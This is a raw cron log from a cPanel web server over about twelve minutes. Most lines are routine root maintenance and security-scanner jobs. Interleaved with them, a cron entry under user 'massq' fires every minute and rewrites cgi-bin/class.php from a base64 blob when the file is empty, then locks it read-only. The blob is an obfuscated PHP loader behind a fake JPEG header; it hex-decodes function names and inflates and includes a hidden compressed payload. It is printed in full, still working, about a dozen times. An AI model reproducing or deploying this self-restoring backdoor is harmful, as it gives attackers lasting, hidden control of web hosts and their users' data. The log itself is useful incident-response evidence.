Sep  7 21:30:01 server CROND[11754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:30:01 server CROND[11750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:30:01 server CROND[11749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:30:01 server CROND[11753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:31:01 server CROND[12596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:31:01 server CROND[12597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:31:01 server CROND[12598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:32:01 server CROND[13073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:32:01 server CROND[13074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:32:01 server CROND[13075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:33:01 server CROND[13455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:33:01 server CROND[13456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:33:01 server CROND[13457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:34:01 server CROND[13834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:34:01 server CROND[13835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:34:01 server CROND[13836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:35:01 server CROND[14267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:35:01 server CROND[14269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:35:01 server CROND[14271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:35:01 server CROND[14273]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:35:01 server CROND[14275]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:35:01 server CROND[14276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:35:01 server CROND[14277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:35:01 server CROND[14274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:35:01 server CROND[14278]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 21:36:01 server CROND[15118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:36:01 server CROND[15119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:36:01 server CROND[15120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:37:01 server CROND[15494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:37:01 server CROND[15495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:37:01 server CROND[15496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:38:01 server CROND[15870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:38:01 server CROND[15871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:38:01 server CROND[15872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:39:01 server CROND[16344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:39:01 server CROND[16345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:39:01 server CROND[16347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:39:01 server CROND[16346]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 21:40:01 server CROND[16747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:40:01 server CROND[16748]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:40:01 server CROND[16749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:40:01 server CROND[16754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:40:01 server CROND[16760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:40:01 server CROND[16761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:40:01 server CROND[16766]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:40:01 server CROND[16762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:41:01 server CROND[17584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:41:01 server CROND[17585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:41:01 server CROND[17587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:42:01 server CROND[17969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:42:01 server CROND[17971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
